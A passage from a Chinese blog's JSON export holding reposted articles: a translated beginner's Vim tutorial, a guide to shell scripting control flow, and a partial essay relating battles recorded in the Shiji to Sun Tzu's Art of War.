怎么说也不能再每天工作15小时+了吧\u0026#8230;..\n","title":"出差ing….."},{"content":"转自：http://srandy.yo2.cn/2007/07/21/%E7%BF%BB%E8%AF%91-%E9%AB%98%E6%95%88%E7%8E%87%E7%BC%96%E8%BE%91%E5%99%A8-vim-%E6%93%8D%E4%BD%9C%E7%AF%87-%E9%9D%9E%E5%B8%B8%E9%80%82%E5%90%88vim%E6%96%B0%E6%89%8B%E8%BD%AC/\n虽然从很久前就开始用VIM了，但一直都是半调子，翻来覆去只用自己会的命令。最近为了提高书写代码的效率，还有coding时候的乐趣，又重新钻研了一下VIM，发现了一篇很好的VIM入门的文章，原文是英文版的，我觉得非常适合VIM使用入门，所以翻译了过来。这里是简单的介绍了VIM的操作方式，并没有说为什么要用VIM，如果你想知道答案可以去Google，VIM被誉为编辑器之神。\n原文的英文名是：Efficient Editing With vim （点击可以欣赏原文），本译文欢迎转贴，但请注明出处和译者Jay。\n现在开始~~\n这篇教程写了在不同工作模式下使用VIM的一些基本技巧 \u0026#8212; 即插入模式（insert mode）， 命令模式（command mode）， 存取文件等。目的是帮助刚刚接触VIM的新手更加有效率的使用这个出色的编辑器。\n说明：在这篇文章里面，\u0026lt;C-X\u0026gt;代表Ctrl + X \u0026#8212; 就是按住Ctrl键然后再按X。而且你可以在很多情况下使用 :help command 来获得大部分命令的帮助，这个是VIM的内部帮助文件命令。 高效率移动 在插入模式之外 基本上来说，你应该尽可能少的呆在插入模式里面，因为在插入模式里面VIM就像一个\u0026ldquo;哑巴\u0026rdquo;编辑器一样。很多新手都会一直呆在插入模式里面，因为这 样易于使用。但VIM的强大之处在于他的命令行模式！你会发现，在你越来越了解VIM之后，你就会花越来越少的时间使用插入模式了。 使用 h，j，k，l 使用VIM高效率编辑的第一步，就是放弃使用箭头键。使用VIM，你就不用频繁的在箭头键和字母键之间移来移去了，这会节省你很多时间。当你在命令 模式时，你可以用h，j，k，l来分别实现左，下，上，右箭头的功能。一开始可能需要适应一下，但一旦习惯这种方式，你就会发现这样操作的高效之处了。\n在你编辑你的电子邮件或者其他有段落的文本时，你可能会发现使用方向键和你预期的效果不一样，有时候可能会一次跳过了很多行。这是因为你的段落在 VIM看来是一个大的长长的行。这时你可以在按h，j，k或者l之前键入一个g，这样VIM就会按屏幕上面的行如你所愿的移动了。 在当前行里面有效的移动光标 很多编辑器只提供了简单的命令来控制光标的移动（比如左，上，右，下，到行首/尾等）。VIM则提供了很多强大的命令来满足你控制光标的欲望。当光 标从一点移动到另外一点，在这两点之间的文本（包括这两个点）称作被\u0026ldquo;跨过\u0026rdquo;，这里的命令也被称作是motion。（简单说明一下，后面会用到这个重要的 概念）\n这里是常用到的一些命令（motion）：\nfx：移动光标到当前行的下一个x处。很明显，x可以是任意一个字母，而且你可以使用;来重复你的上一个f命令。\ntx：和上面的命令类似，但是是移动到x的左边一个位置。（这真的很有用）\nFx：和fx类似，不过是往回找。\nw：光标往前移动一个词。\nb： 光标往后移动一个词。\n0： 移动光标到当前行首。\n^：移动光标到当前行的第一个字母位置。\n$： 移动光标到行尾。\n)：移动光标到下一个句子。\n( ： 移动光标到上一个句子。 在整个文件里面有效移动光标 VIM有很多命令，可以用来到达文件里面你想到达的地方。下面是一些在文件里面移动的命令：\n\u0026lt;C-F\u0026gt;：向下移动一屏。\n\u0026lt;C-B\u0026gt;：向上移动一屏。\nG：到文件尾\nnumG：移动光标到指定的行（num）。（比如10G就是到第10行）\ngg：到文件首\nH：移动光标到屏幕上面\nM：移动光标到屏幕中间\nL：移动光标到屏幕下面\n*：读取光标处的字符串，并且移动光标到它再次出现的地方。\n#：和上面的类似，但是是往反方向寻找。\n/text：从当前光标处开始搜索字符串text，并且到达text出现的地方。必须使用回车来开始这个搜索命令。如果想重复上次的搜索的话，按n。\n？text：和上面类似，但是是反方向。\nma：在当前光标的位置标记一个书签，名字为a。书签名只能是小写字母。你看不见书签的存在，但它确实已经在那里了。\n`a：到书签a处。注意这个不是单引号，它一般位于大部分键盘的1的左边。\n`.：到你上次编辑文件的地方。这个命令很有用，而且你不用自己去标记它。 高效的输入 使用关键词自动完成 VIM有一个非常漂亮的关键词自动完成系统。这表示，你可以输入一个长词的一部分，然后按一下某个键，然后VIM就替你完成了这个长词的输入了。举 个例子：你有一个变量名为 iAmALongAndAwkwardVarName 在你写的代码的某个地方。也许你不想每回都自己一个一个字母的去输入它。\n使用关键词自动完成功能，你只需要输入开始几个字母（比如iAmAL），然后按\u0026lt;C-N\u0026gt;（按住Ctrl，再按N）或者\u0026lt;C-P\u0026gt;。如果VIM没有给出你想要的词，基本按，直到你满意为止，VIM会一直循环它找到的匹配的字符串。 聪明的进入插入模式 很多新手进入插入模式都只是用i。这样当然可以进入插入模式，但通常不是那么合适，因为VIM提供了很多进入插入模式的命令。下面是最常用的一些：\ni：在当前字符的左边插入\nI：在当前行首插入\na：在当前字符的右边插入\nA：在当前行尾插入\no：在当前行下面插入一个新行\nO：在当前行上面插入一个新行\nc{motion}：删除motion命令跨过的字符，并且进入插入模式。比如：c$，这将会删除从光标位置到行尾的字符并且进入插入模式。ct！，这会删除从光标位置到下一个叹号（但不包括），然后进入插入模式。被删除的字符被存在了剪贴板里面，并且可以再粘贴出来。\nd{motion}：和上面差不多，但是不进入插入模式。 有效的移动大段的文本 使用可视选择（visual selections）和合适的选择模式 不想最初的VI，VIM允许你高亮（选择）一些文本，并且进行操作。这里有三种可视选择模式：\nv：按字符选择。经常使用的模式，所以亲自尝试一下它。\nV：按行选择。这在你想拷贝或者移动很多行的文本的时候特别有用。\n\u0026lt;C-V\u0026gt;：按块选择。非常强大，只在很少的编辑器中才有这样的功能。你可以选择一个矩形块，并且在这个矩形里面的文本会被高亮。\n在选择模式的时候使用上面所述的方向键和命令（motion）。比如，vwww，会高亮光标前面的三个词。Vjj将会高亮当前行以及下面两行。 在可视选择模式下剪切和拷贝 一旦你高亮了选区，你或许想进行一些操作：\nd：剪贴选择的内容到剪贴板。\ny：拷贝选择的内容到剪贴板。\nc：剪贴选择的内容到剪贴板并且进入插入模式。 在非可视选择模式下剪切和拷贝 如果你很清楚的知道你想拷贝或者剪切什么，那你根本就不需要进入可视选择模式。这样也会节省时间：\nd{motion}：剪切motion命令跨过的字符到剪贴板。比如，dw会剪切一个词而dfS会将从当前光标到下一个S之间的字符剪切至剪贴板。\ny{motion}：和上面类似，不过是拷贝。\nc{motion}：和d{motion}类似，不过最后进入插入模式。\ndd：剪切当前行。\nyy：拷贝当前行。\ncc：剪切当前行并且进入插入模式。\nD：剪切从光标位置到行尾到剪贴板。\nY：拷贝当前行。\nC：和D类似，最后进入插入模式。\nx：剪切当前字符到剪贴板。\ns：和x类似，不过最后进入插入模式。 粘贴 粘贴很简单，按p。 使用多重剪贴板 很多编辑器都只提供了一个剪贴板。VIM有很多。剪贴板在VIM里面被称为寄存器（Registers）。你可以列出当前定义的所有寄存器名和它们的内容，命令为\u0026quot;:reg\u0026quot;。最好使用小写字母来作为寄存器的名称，因为大写的有些被VIM占用了。\n使用寄存器的命令为双引号\u0026ldquo;。\n比如：我们要拷贝当前行到寄存器k。你应该按 \u0026quot;kyy。（你也可以使用 V\u0026quot;ky。为什么这样也可以呢？）现在当前行应该已经存在了寄存器k里面直到你又拷贝了一些东西进入寄存器k。现在你可以使用命令 \u0026quot;kp 来粘贴寄存器k里面的内容到你想要的位置。 避免重复 令人惊奇的 . 命令 在VI里面，输入 . (小数点符号），将会重复你给入的上一个命令。比如，你上个命令为 \u0026#8216;dw\u0026#8217;（删除一个词），VI将会接着再删除一个词。 使用数字 使用数字也是VIM强大的而且很节省时间的重要特性之一。在很多VIM的命令之前都可以使用一个数字，这个数字将会告诉VIM这个命令需要执行几次。比如：\n3j 将会把光标向下移动三行。\n10dd 将会删除十行。\ny3\u0026quot; 将会拷贝从当前光标到第三个出现的引号之间的内容到剪贴板。\n数字是扩展motion命令作用域非常有效的方法。 记录宏 有时候，你会发现你自己在文章的每段或者每行都重复相同的一系列动作。VIM允许你记录一个宏来完成你的特殊需要。\nqregister：记录宏到寄存器register，这里register是任意的你的寄存器的名字。比如qa，将会记录并且把宏存在寄存器a里面。\nq：结束宏的记录。\n@register：使用存在寄存器register的宏。比如@a，将会使用存在寄存器a里面的宏。\n必须要记住的是，宏只记录了你的系列按键并且重复执行它们。它们不是魔法。因为在VIM里面完成目的的方法有很多，所以有时候你要小心选择命令来记录你的宏。因为它们会在所有你要执行它的地方执行。 用VIM写代码 VIM是一个绝好的编辑器来写代码，因为它有一些特性是专门为程序员而设。这里是一些常用的：\n]p：和p的功能差不多，但是它会自动调整被粘贴的文本的缩进去适应当前代码的位置。试一下！\n%：匹配花括号，方括号，括号等。在一个括号的上面，然后按%，鼠标就会出现在匹配的另外一半括号处。\n\u0026gt;\u0026gt;：缩进所有选择的代码\n\u0026lt;\u0026lt;：和上面类似，但是反缩进\ngd：到达光标所在处函数或者变量的定义处。\nK：在Man里面查找光标当前所在处的词。\n","permalink":"https://hessian.cn/p/581.html","summary":"转自：http://srandy.yo2.cn/2007/07/21/%E7%BF%BB%E8%AF%91-%E9%AB%98%E6%95%88%E7%8E%87%E7%BC%96%E8%BE%91%E5%99%A8-vim-%E6%93%8D%E4%BD%9C%E7%AF%87-%E9%9D%9E%E5%B8%B8%E9%80%82%E5%90%88vim%E6%96%B0%E6%89%8B%E8%BD%AC/\n虽然从很久前就开始用VIM了，但一直都是半调子，翻来覆去只用自己会的命令。最近为了提高书写代码的效率，还有coding时候的乐趣，又重新钻研了一下VIM，发现了一篇很好的VIM入门的文章，原文是英文版的，我觉得非常适合VIM使用入门，所以翻译了过来。这里是简单的介绍了VIM的操作方式，并没有说为什么要用VIM，如果你想知道答案可以去Google，VIM被誉为编辑器之神。\n原文的英文名是：Efficient Editing With vim （点击可以欣赏原文），本译文欢迎转贴，但请注明出处和译者Jay。\n现在开始~~\n","title":"[转]翻译: 高效率编辑器 VIM – 操作篇, 非常适合VIM新手"},{"content":"和其他高级程序设计语言一样，Shell提供了用来控制程序执行流程的命令，包括条件分支和循环结构，用户可以用这些命令创建非常复杂的程序。\n与传统语言不同的是，Shell用于指定条件值的不是布尔运算式，而是命令和字串。\n1．测试命令\ntest命令用于检查某个条件是否成立，它可以进行数值、字符和文件3个方面的测试，其测试符和相应的功能分别如下。\n（1）数值测试：\n-eq 等于则为真。\n-ne 不等于则为真。\n-gt 大于则为真。\n-ge 大于等于则为真。\n-lt 小于则为真。\n-le 小于等于则为真。\n（2）字串测试：\n= 等于则为真。\n!= 不相等则为真。\n-z字串 字串长度伪则为真。\n-n字串 字串长度不伪则为真。\n（3）文件测试：\n-e文件名 如果文件存在则为真。\n-r文件名 如果文件存在且可读则为真。\n-w文件名 如果文件存在且可写则为真。\n-x文件名 如果文件存在且可执行则为真。\n-s文件名 如果文件存在且至少有一个字符则为真。\n-d文件名 如果文件存在且为目录则为真。\n-f文件名 如果文件存在且为普通文件则为真。\n-c文件名 如果文件存在且为字符型特殊文件则为真。\n-b文件名 如果文件存在且为块特殊文件则为真。\n另外，Linux还提供了与（！）、或（-o）、非（-a）三个逻辑操作符，用于将测试条件连接起来，其优先顺序为：！最高，-a次之，-o最低。\n同时，bash也能完成简单的算术运算，格式如下：\n$[expression]\n例如：\nvar1=2\nvar2=$[var1*10+1]\n则var2的值为21。\n2．if条件语句\nShell程序中的条件分支是通过if条件语句来实现的，其一般格式为：\nif 条件命令串\nthen\n条件为真时的命令串\nelse\n条件为假时的命令串\nfi\n3．for循环\nfor循环对一个变量的可能的值都执行一个命令序列。赋给变量的几个数值既可以在程序内以数值列表的形式提供，也可以在程序以外以位置参数的形式提供。for循环的一般格式为：\nfor变量名 [in数值列表]\ndo\n若干个命令行\ndone\n变量名可以是用户选择的任何字串，如果变量名是var，则在in之后给出的数值将顺序替换循环命令列表中的$var。如果省略了in，则变量var的取值将是位置参数。对变量的每一个可能的赋值都将执行do和done之间的命令列表。\n4．while和until循环\nwhile和until命令都是用命令的返回状态值来控制循环的。While循环的一般格式为：\nwhile\n若干个命令行1\ndo\n若干个命令行2\ndone\n只要while的\u0026ldquo;若干个命令行1\u0026rdquo;中最后一个命令的返回状态为真，while循环就继续执行do\u0026#8230;done之间的\u0026ldquo;若干个命令行2\u0026rdquo;。\nuntil命令是另一种循环结构，它和while命令相似，其格式如下：\nuntil\n若干个命令行1\ndo\n若干个命令行2\ndone\nuntil循环和while循环的区别在于：while循环在条件为真时继续执行循环，而until则是在条件为假时继续执行循环。\nShell还提供了true和false两条命令用于创建无限循环结构，它们的返回状态分别是总为0或总为非0。\n5．case条件选择\nif条件语句用于在两个选项中选定一项，而case条件选择为用户提供了根据字串或变量的值从多个选项中选择一项的方法，其格式如下：\ncase string in\nexp-1)\n若干个命令行1\n；；\nexp-2)\n若干个命令行2\n；；\n\u0026hellip;\u0026hellip;\n*)\n其他命令行\nesac\nShell通过计算字串string的值，将其结果依次和运算式exp-1, exp-2等进行比较，直到找到一个匹配的运算式为止。如果找到了匹配项，则执行它下面的命令直到遇到一对分号(；；)为止。\n在case运算式中也可以使用Shell的通配符（\u0026ldquo;*\u0026rdquo;、\u0026ldquo;？\u0026rdquo;、\u0026ldquo;[ ]\u0026rdquo;）。通常用 * 作为case命令的最后运算式以便在前面找不到任何相应的匹配项时执行\u0026ldquo;其他命令行\u0026rdquo;的命令。\n6．无条件控制语句break和continue\nbreak用于立即终止当前循环的执行，而contiune用于不执行循环中后面的语句而立即开始下一个循环的执行。这两个语句只有放在do和done之间才有效。\n7．函数定义\n在Shell中还可以定义函数。函数实际上也是由若干条Shell命令组成的，因此它与Shell程序形式上是相似的，不同的是它不是一个单独的进程，而是Shell程序的一部分。函数定义的基本格式为：\nfunctionname\n{\n若干命令行\n}\n调用函数的格式为：\nfunctionname param1 param2\u0026hellip;\nShell函数可以完成某些例行的工作，而且还可以有自己的退出状态，因此函数也可以作为if, while等控制结构的条件。\n在函数定义时不用带参数说明，但在调用函数时可以带有参数，此时Shell将把这些参数分别赋予相应的位置参数$1, $2, \u0026#8230;及$*。\n8．命令分组\n在Shell中有两种命令分组的方法：()和{}。前者当Shell执行()中的命令时将再创建一个新的子进程，然后这个子进程去执行圆括弧中的命令。 当用户在执行某个命令时不想让命令运行时对状态集合（如位置参数、环境变量、当前工作目录等）的改变影响到下面语句的执行时，就应该把这些命令放在圆括弧 中，这样就能保证所有的改变只对子进程产生影响，而父进程不受任何干扰。{}用于将顺序执行的命令的输出结果用于另一个命令的输入（管道方式）。当我们要 真正使用圆括弧和花括弧时（如计算运算式的优先顺序），则需要在其前面加上转义符（）以便让Shell知道它们不是用于命令执行的控制所用。\n9．信号\ntrap命令用于在Shell程序中捕捉信号，之后可以有3种反应方式：\n（1）执行一段程序来处理这一信号。\n（2）接受信号的默认操作。\n（3）忽视这一信号。\ntrap对上面3种方式提供了3种基本形式：\n第一种形式的trap命令在Shell接收到与signal list清单中数值相同的信号时，将执行双引号中的命令串。\ntrap \u0026#8216;commands\u0026#8217; signal-list\ntrap \u0026quot;commands\u0026quot; signal-list\n为了恢复信号的默认操作，使用第二种形式的trap命令：\ntrap signal-list\n第三种形式的trap命令允许忽略信号：\ntrap \u0026quot; \u0026quot; signal-list\n注意：\n（1）对信号11（段违例）不能捕捉，因为Shell本身需要捕捉该信号去进行内存的转储。\n（2）在trap中可以定义对信号0的处理（实际上没有这个信号），Shell程序在其终止（如执行exit语句）时发出该信号。\n（3）在捕捉到signal-list中指定的信号并执行完相应的命令之后，如果这些命令没有将Shell程序终止的话，Shell程序将继续执行收到信号时所执行的命令后面的命令，这样将很容易导致Shell程序无法终止。\n另外，在trap语句中，单引号和双引号是不同的。当Shell程序第一次碰到trap语句时，将把commands中的命令扫描一遍。此时若 commands是用单引号括起来的话，那么Shell不会对commands中的变量和命令进行替换，否则commands中的变量和命令将用当时具体 的值来替换。\n","permalink":"https://hessian.cn/p/435.html","summary":"和其他高级程序设计语言一样，Shell提供了用来控制程序执行流程的命令，包括条件分支和循环结构，用户可以用这些命令创建非常复杂的程序。\n与传统语言不同的是，Shell用于指定条件值的不是布尔运算式，而是命令和字串。\n","title":"［转］Linux系统Shell程序设计的流程控制"},{"content":"\u0026nbsp;\u0026nbsp;\u0026nbsp; 《史记》与《孙子兵法》的关系非常密切，《孙子\u0026middot;吴起列传》是《史记》的重要一篇，太史公是为中国古代最伟大的军事家孙子立传的第一人，孙武的生平也是通过《史记》第一次被载入史册。\n一、《史记》与《孙子兵法》的名称\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 《史记》的《孙子\u0026middot;吴起列传》并没有明确提出《孙子兵法》。\u0026ldquo;孫臏以此名顯天下，世傳其兵法\u0026rdquo;二句，也没有说\u0026ldquo;兵法\u0026rdquo;之名就是《孙子兵法》。《史记\u0026middot;卫将军骠骑列传》：\u0026ldquo;天子尝欲教之《孙吴兵法》，对曰：顾方略何如耳，不至学古兵法（当含《孙子兵法》等）。\u0026rdquo;所以，《史记》并未明言《孙子兵法》，而只有《孙吴兵法》之称；而《孙吴兵法》应当是《孙子、吴起兵法》的合本。\n《史记》的《孙子吴起列传》：\u0026ldquo;太史公曰：世俗所稱師旅，皆道《孫子十三篇》《吳起兵法》；据此可知，《史记孙子吴起列传》是以《孙子十三篇》作为《孙子兵法》的称名。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 《汉书\u0026middot;东方朔传》东方朔自称学过兵法时，也说\u0026ldquo;学《孙吴兵法》战阵之具，鉦鼓之教。\u0026rdquo;可见，东方朔学的《孙子兵法》也是孙子、吴起兵法的合订本。\n\u0026nbsp;\u0026nbsp; 《汉书\u0026middot;艺文志》明确记载的是《吴孙子兵法八十二篇》，可见，《孙子兵法》在汉代确实单独流传；但《汉志》前冠了\u0026ldquo;吴\u0026rdquo;字，是为了区别于《齐孙子八十九篇》。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 可见，在司马迁写作《史记》之时，更多流传的应当是《孙吴兵法》。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 《后汉书\u0026middot;礼仪志》、《舆服志》使用的也是《孙吴兵法》，可见，南朝刘宋时期《孙吴兵法》仍然相当流行。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 《后汉书\u0026middot;冯异传》：\u0026ldquo;好读书，通《左氏春秋》《孙子兵法》。注：孙子名武，善用兵，吳王阖庐之将也，作兵法十三篇，见《史記》。\u0026rdquo;《孙子兵法》之名《汉志》有载，而《汉志》缘于刘歆《七略》，可见，《孙子兵法》与《孙吴兵法》在西汉都有流传，即既有单本又有合本。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\n二、《史记》中的战争描写与《孙子兵法》\n\u0026nbsp;\u0026nbsp; 《史记》中描写了许多著名的战争，这些战争对《孙子兵法》有继承也有补充。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 1、巨鹿之战\u0026mdash;\u0026mdash;投之亡地然后存，陷之死地然后生\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 《项羽本纪》中的巨鹿之战是非常有名的一场战争。巨鹿之战中最有名的是如下一段：\u0026ldquo;项羽悉引兵渡河，皆沉船，破釜甑，烧庐舍，持三日粮，以示士卒必死，无一还心。\u0026rdquo;这就\u0026ldquo;破釜沉舟\u0026rdquo;。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 项羽的这种作战方法即是《孙子兵法\u0026middot;九地》中\u0026ldquo;投之亡地然后存，陷之死地然后生。夫众陷于害，然后能为胜败\u0026rdquo;的应用。不过，项羽将其运得非常灵活而已。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 《汉志》中有《项王》一篇，此书今已失传，可见，项羽是深通兵法之人。他不仅会打仗，而且有《兵法》传世。此书可能是后人追记，但是，它证明了项羽的兵学修养极高。项羽年轻时，一定要学\u0026ldquo;万人敌\u0026rdquo;的兵法；所以，他才有如此高的兵学修养。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 2、彭城之战\u0026mdash;\u0026mdash;攻其无备，出其不意\n\u0026nbsp;\u0026nbsp; 《孙子兵法\u0026middot;始计》载：\u0026ldquo;攻其无备，出其不意。\u0026rdquo;项羽深谙此道，最著名的战例就是彭城之战。这是一场在中国军事史上以少胜多的著名战例。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 汉二年（前205）四月，刘邦利用项羽陷入山东战场平定齐地叛乱的机会，率领五十六万大军占领了西楚国都城的彭城。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 刘邦此行，主要是为了消灭项羽集团，顺便接走家人。刘邦起兵反秦时并没有携带家属，所以，他这次打到彭城，离他的老家沛县只有二百里地，所以，他想这次接走他的父亲、妻子、儿子、女儿。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 项羽得知刘邦攻占彭城的消息之后，带了三万精锐骑兵，绕过刘邦重点设防的彭城东面和北面，插到彭城之西的萧县，也就是今天安徽省的萧县。萧县在彭城的西面，距当时的彭城只有六十里地。项羽到达萧县之后，对攻占彭城的刘邦发动突然袭击。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 刘邦进入彭城之后，忙于搜刮项羽的财宝、美女，每天饮酒宴会，根本顾不上接他的家人。项羽从彭城之西，突然袭击彭城的汉军。战斗从早晨打响，到中午，楚军已经打败了汉军。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 项羽这次彭城之战只投入了三万军队，刘邦却有五十六万军队，为什么项羽能以如此少的军队大败刘邦呢？\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 刘邦进了彭城，自以为已经稳操胜券，每天喝酒庆功，把当年项羽从长安掠走的秦朝的财宝、美女全都收归己有。这恰好应验了范增当年对刘邦的两句评价：贪于财 货，好美姬。他对项羽的反攻也有准备，但是，项羽却没有在刘邦重兵布防的彭城的北面、东面采取军事行动，而是，从彭城西面的萧县进行奇兵突袭，打了刘邦一 个措手不及，连刘邦本人也在一场突然而来的沙尘暴中侥幸逃生：\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 围汉王三匝。于是，大风従西北而起，折木发屋，扬沙石，窈冥昼晦。逢迎楚军，楚军大乱坏散，而汉王乃得与数十骑遁去。欲过沛收家室而西，楚亦使人追之沛，取汉王家。家皆亡，不与汉王相见。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 刘邦在前面逃，楚军在后面紧追不舍。刘邦在逃命中意外地遇见他的儿子、女儿，他的儿子是后来的汉惠帝，他的女儿是鲁元公主。为刘邦赶车的夏侯婴匆忙中将刘 邦的儿子、女儿抱上了车，但是，楚兵追得太急。刘邦担心因为车上多了儿子、女儿跑得慢，便一脚把儿子、女儿踹下车来。夏侯婴一见，赶快停车抱孩子，刘邦还 很不愿意。跑不远，刘邦又一脚把儿子、女儿踹下车来，夏侯婴又忙着停车抱孩子。一连几次这样，刘邦急得要拔剑杀夏侯婴。夏侯婴说：情况再紧急也不能不顾孩 子。刘邦这才同意让儿子、女儿跟他一块儿逃，最终摆脱了危险。可见，刘邦败得多么惨痛。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 项羽在彭城之战中大败刘邦，原因颇多。其中，非常重要的一个原因是\u0026ldquo;攻其不备，出其不意\u0026rdquo;。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 刘邦不是没有防备项羽，只是他防范的重点是彭城之东与彭城之北，因此，这是项羽从齐地进攻彭城最有可能性的方向；但是，项羽偏偏选择了彭城之西。这是刘邦最不设防的地方，所以，打了刘邦一个措手不及。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 3、韩信与龙且的对决\u0026mdash;\u0026mdash;《孙子\u0026middot;始计》：故能而示之不能，用而示之不用，近而示之远，远而示之近。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 在楚汉战争中另一位军事天才是韩信，韩信成功的战例非常之多，我只举一个例子：\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 韩信在灭掉魏、代、赵、燕诸国之后，兵临齐国，他在游士蒯通的劝告下，不顾刘邦已派郦食其已劝降齐王的现实，突然袭击，打进齐国。齐王杀郦食其，向项羽求救。齐地是西楚国国都彭城的北方大门，项羽在韩信横扫北方诸侯各国时几乎毫无作为，此时却派大将龙且率兵救齐。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 龙且是项羽集团的重要军事将领，《史记\u0026middot;陈丞相世家》记述了陈平劝刘邦施行反间计以击败项羽时曾经说过的一段非常重要的话：彼项王骨鲠之臣亚夫、钟离昧、龙且、周殷之属，不过数人耳。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 陈平曾经在项羽手下做过官，后来畏罪投靠刘邦，因此，陈平非常熟悉项羽最重要的武将谋臣。在陈平开列的项羽手下的骨鲠之臣中就有龙且，由此可见，龙且在项羽集团中举足轻重的地位。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 龙且是项羽起兵反秦时就追随项南征北战的猛将，而且每到关键时刻项羽都会起用龙且。刘邦、项羽的第一次正面交手是彭城大战。此时是汉二年（前205）。\n彭城之战失败而归的刘邦，并未就此罢手，而是思前想后，图谋灭项大计。刘邦此时提出了一个还有战略性的目标\u0026mdash;\u0026mdash;联手灭项。他问张良：我愿意捐出函谷关以东 的土地，与人共分天下，谁是可以承担此重任的人？张良回答：只有三个人，一个是你手下的韩信，一个是三不管的彭越，一个是项羽手下的勇将黥布。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 刘邦立即派人策反了黥布。黥布是项羽手下的悍将，为项羽多次立过大功。黥布叛变使项羽非常恼火，项羽派出去平定黥布叛乱的大将就是龙且。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 黥布是著名悍将，汉十一年，刘邦抱病平黥布叛乱，其时项羽已死去六年，但是，刘邦看见黥布的军阵如同项羽的军阵还非常胆怯。此仗虽然刘邦取得最后胜利，可 是黥布的军威仍然为刘邦所重。刘邦尽管病得非常重，还不得不抱病出征，派谁去平黥布之乱他都不放心。为什么呢？黥布太有才了！可是，当年黥布背叛项羽之 时，项羽派去平定黥布之乱的却是龙且。龙且在项羽心中的地位由此可见一斑。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 龙且去平定黥布之乱的结果如何呢？《史记\u0026middot;黥布列传》有一段非常翔实的记载：\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 布曰：如使者教，因起兵而击之耳。於是杀使者，因起兵而攻楚。楚使项声、龙且攻淮南，项王留而攻下邑。数月，龙且击淮南，破布军。布欲引兵走汉，恐楚王杀之，故间行与何俱归汉。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 龙且仅仅用了几个月的时间就平定了黥布之乱！黥布是悍将，连刘邦都怯他三分，可是龙且竟然打败了黥布。这说明什么？说明龙且深得项羽信任，说明龙且比黥布更高明，更凶悍。龙且的军事才能由此可见。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 在长达四年之久的楚汉战争之中，龙且被《史记》记载下来的并不多，其中，最为翔实的只有一次：韩信攻占齐地之后，项羽派龙且率兵救齐。\n刘邦最后在军事上打败项羽的最大优势就是他手下的韩信攻占了黄河以北的全部地盘，灭掉了魏国、代国、赵国、燕国、齐国。特别是韩信破齐，对项羽的震憾最大！\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 项羽一向非常重视齐地（今山东一带），当年齐地田氏与关中刘邦几乎同时造反，但是，项羽弃刘邦而攻田氏即是一例明证。因为齐地接靠彭城，齐地对西楚国的威 胁比起关中的刘邦要大得多。所以，韩信拿下魏、代、赵、燕诸国，项羽都未及时应对。韩信拿下了齐地，立即引起项羽的高度重视。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 项羽的第一个反应就是派龙且率兵救齐。龙且临危受命，说明了他在项羽心中的地位仍然是男一号。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 龙且到达齐地之后，与齐王田广合军一处。龙且带了多少军队，史书记载是\u0026ldquo;号称二十万\u0026rdquo;。据我估计，龙且所带军队应当是十万，而且是项羽从荥阳战场上抽调的 十万精兵。项羽与刘邦在荥阳对峙的二十八个月里，始终占有上风，其中一个重要原因是项羽的兵力从未少于刘邦。但是，汉四年刘邦最后追杀向今安徽撤退的项羽 军队时，刘邦是二十万军队，项羽只有十万军队。项羽的军队为什么越打越少，其中一个重要原因应当是龙且带走了项羽的十万精兵。这可是项羽的看家本钱啊！连 这种本钱项羽都舍得投资，可见，项羽对收复齐地何等重视。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 龙且是西楚国的悍将，十分善战。龙且到了齐地，有人向他建议：韩信的军队是远道而来的胜利之师，军锋正盛；我们是本土作战，应当深壁坚守，然后让齐王田广 到各地宣传齐王尚在，这样，各地被韩信征服的齐城就会倒戈反汉。韩信远道而来，如果齐地都倒戈反汉，韩信的军粮都很难解决。到了汉兵断粮之日，岂不是不战 而降汉军吗？\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 战未合，人或说龙且曰：汉兵远斗穷战，其锋不可当。齐、楚自居其地战，兵易败散；不如深壁，令齐王使其信臣，招所亡城。亡城闻其王在，楚来救，必反汉。汉兵二千里客居，齐城皆反之，其势无所得食，可无战而降也。\n应当说，这是一个非常有远见的计谋，但是，龙且听不进去。龙且是项羽手下第一悍将，他击败过悍将黥布，从未打过败仗，更没有用计谋打败过敌人。龙且从来都 是在进攻战、遭遇战中打败对手的。因此，龙且认为：如果这样战胜韩信，岂不太丢面子了。更要命的是，龙且认为韩信非常容易打败。这一仗如果打胜，整个齐地 可得其半，于是，决定迎战韩信（龙且曰：吾平生知韩信为人易与耳！且夫救齐不战齐不战而降之，吾何功？今战而胜之，齐之半可得，何为止？遂战，与信夹潍水阵）。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 